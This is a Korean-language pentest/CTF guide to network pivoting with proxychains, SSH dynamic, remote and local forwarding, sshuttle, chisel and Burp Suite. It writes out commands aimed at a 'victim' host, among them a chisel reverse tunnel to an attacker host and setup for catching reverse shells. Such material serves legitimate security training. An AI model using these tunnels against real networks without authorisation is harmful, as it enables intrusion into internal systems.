
침투 테스트 / CTF 챌린지를 위한 네트워크 피벗팅의 간결한 가이드
SOCKS 프록시 테스트에 ICMP 에코 요청(ping)을 사용하지 마십시오.
SOCKS는 프록시 서버를 통해 클라이언트와 서버 간에 네트워크 패킷을 교환하는 인터넷 프로토콜입니다. 실제로 SOCKS 서버는 임의의 IP 주소로의 TCP 연결을 프록시하고 UDP 패킷이 전달될 수 있는 수단을 제공합니다.
피벗 터널 너머의 호스트에 SSH를 시도하거나 HTTP GET 요청을 보내는 등 TCP 기반 프로토콜로 테스트해야 합니다.
NMAP은 TCP connect 스캔(-sT)과 ping 없음(-Pn)과 함께 사용해야 합니다
이는 버전 스캔(-sV) 및 스크립트 스캔(-sC)에도 적용됩니다. -sT 및 -Pn과 함께 사용해야 합니다.
예시:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
팁: naabu를 피해 머신에 업로드하고 멋지게 스캔할 수 있습니다.
proxychains와 함께 스크립트 및 바이너리 사용하기
proxychains 사용 시 한 가지 팁은, 해석형 프로그램(예: Python 스크립트)을 실행할 때 스크립트에 shebang이 있더라도 그 스크립트 앞에 Python 바이너리를 명시적으로 지정하는 것이 좋다는 것입니다. 예:
proxychains4 [-q -f proxychains.conf] python python_script.py
이렇게 인터프리터를 명시적으로 지정하지 않으면, 스크립트에서 생성된 트래픽이 의도한 대로 프록시를 통해 라우팅되지 않고 네트워크 연결이 실패할 수 있습니다. 팁 출처
때때로 답답할 수 있는 stdout을 피하려면 /etc/proxychains.conf에서 "quite mode" 줄의 주석을 해제하십시오.
이것은 단순한 제안일 뿐입니다.
로컬(SSH 클라이언트) 머신에 SOCKS 프록시 서버 역할을 하는 소켓을 만들 수 있습니다. 클라이언트가 이 포트에 연결하면 연결이 원격(SSH 서버) 머신으로 전달된 다음 대상 머신의 동적 포트로 전달됩니다.
설정 방법:
/etc/proxychains.conf를 편집하고 다음을 적용하십시오:
SSH 동적 포트 포워딩을 설정합니다:
ssh -D 127.0.0.1:9050 user@victim-IP
사용 예시:
x.x.x.x가 터널링된 네트워크에 속한 호스트의 IP 주소인 경우:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
터널을 통해 firefox를 사용하려면:
proxychains firefox
피벗 터널을 통해 리버스 셸을 얻는 방법을 찾고 있다면 바로 이것이 필요합니다. 원격(피해자) 머신의 포트를 로컬(공격자) 머신의 포트로 전달할 수 있습니다.
설정 방법:
피해자 머신에 SSH로 접속합니다.
/etc/ssh/sshd_config를 편집하고 다음을 적용하십시오:
*이것은 매우 중요하며 많은 온라인 가이드가 이를 언급하지 않습니다. 이 작업을 수행하지 않으면 0.0.0.0이 아닌 127.0.0.1에서만 터널을 설정할 수 있으며, 결국 localhost가 아닌 다른 호스트에서 발생한 트래픽은 전달되지 않게 됩니다.
sudo service ssh restartSSH 원격 포트 포워딩을 설정합니다:
기본적으로 위에서 언급한 대로 설정한 후에는 명령어가 다음과 같이 간단합니다:
ssh -R 2222:*:2222 user@victim-IP
작동 여부를 테스트하려면 다음을 수행할 수 있습니다:
공격자 머신(원격 포워딩을 구성한 포트, 이 예에서는 2222)에 리스너(예: netcat)를 설정하고 피해자 머신에서 자신(localhost)으로 요청을 보냅니다. 이 예에서는 nc 127.0.0.1 2222가 됩니다. 공격자 머신이 연결을 수신하면 a) 작동한다는 뜻이고 b) 피보팅 호스트에서 victimip:2222로의 모든 연결이 공격자 머신으로 전달된다는 뜻입니다.
다음과 같이 여러 포트를 설정할 수 있습니다:
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
주의: 외부 호스트(피보팅 네트워크)의 요청은 공격자 머신으로 다시 전달되려면 피해자 IP 주소로 보내야 합니다.
*피해자 머신에서 공격자 머신으로 SSH 연결하여 원격 포트 포워딩을 구현할 수도 있습니다.
로컬 포트 포워딩을 사용하면 로컬(공격자) 머신의 포트를 원격(피해자) 머신의 포트로 전달할 수 있습니다. 피해자의 로컬 포트를 스캔할 때 특히 유용합니다.
사용법:
ssh user@victim-IP -L 8888:127.0.0.1:8086
이제 예를 들어 nmap을 사용하여 피해자 머신의 8086 포트를 다음과 같이 스캔할 수 있습니다:
nmap -Pn -n -p8888 -sV 127.0.0.1
SSH 동적 포트 포워딩과 Proxychains를 사용하여 이중 피보팅을 구현하는 방법의 예입니다.
개념:
다음과 같은 4대의 머신이 있다고 가정합니다.
| IP | 역할 |
|---|---|
| 10.10.10.10 | 공격자 |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
공격자는 Jumphost1에 도달할 수 있습니다.
Jumphost1은 Jumphost2에 도달할 수 있습니다.
Jumphost2는 Jumphost3에 도달할 수 있습니다.
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
이제 Jumphost3에 도달할 수 있어야 합니다.
sshuttle을 사용하면 해당 서버에 python 2.3 이상이 설치되어 있는 한, ssh를 통해 내 머신에서 원격 서버로 VPN 연결을 만들 수 있습니다. 작동하려면 로컬 머신에서 root 액세스 권한이 있어야 하지만 서버에서는 일반 계정을 사용할 수 있습니다. 단일 클라이언트 머신에서 sshuttle을 동시에 여러 번 실행하여 매번 다른 서버에 연결할 수 있으므로, 동시에 둘 이상의 VPN에 접속할 수 있습니다. sshuttle github 저장소를 확인하십시오.
사용법:
172.16.2.0/16 네트워크로 피보팅하려고 한다고 가정합니다:
sshuttle -vvr root@victim 172.16.2.0/16
SSH 키를 사용하려면:
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
Chisel은 HTTP를 통해 전송되고 SSH로 보호되는 빠른 TCP/UDP 터널입니다. 클라이언트와 서버를 모두 포함하는 단일 실행 파일입니다. Go(golang)로 작성되었습니다. 엄청나게 멋지고 유용합니다.
설치:
칼리(Kali)에 chisel을 쉽게 설치할 수 있습니다:
apt install chisel
사용하려면 chisel 바이너리를 피해자 머신에 업로드해야 합니다. 사전 컴파일된 버전은 여기에서 다운로드할 수 있습니다.
로컬 포트 포워딩 예시
공격자 머신에서:
chisel server -p 8000 --reverse
피해자 머신에서:
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
이것은 공격자 머신의 1234 포트에서 피해자 머신의 8443 포트로 트래픽을 전달합니다.
Burpsuite는 프록시 설정 기능을 지원하며, 이는 매우 유용하고 강력한 기능입니다.
설정 방법:
Burpsuite를 실행하고 다음을 적용하십시오:
SSH 동적 포트 포워딩 또는 sshuttle 설정과 함께 사용하면, localhost 바인딩 포트로 트래픽을 보내 원하는 호스트로 트래픽을 피보팅하는 데 Burpsuite를 사용할 수 있습니다. 터널을 통한 gobuster dir 브루트포스의 유용한 예시입니다 (포트 2222를 리디렉션 포트로 설정했다고 가정):
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt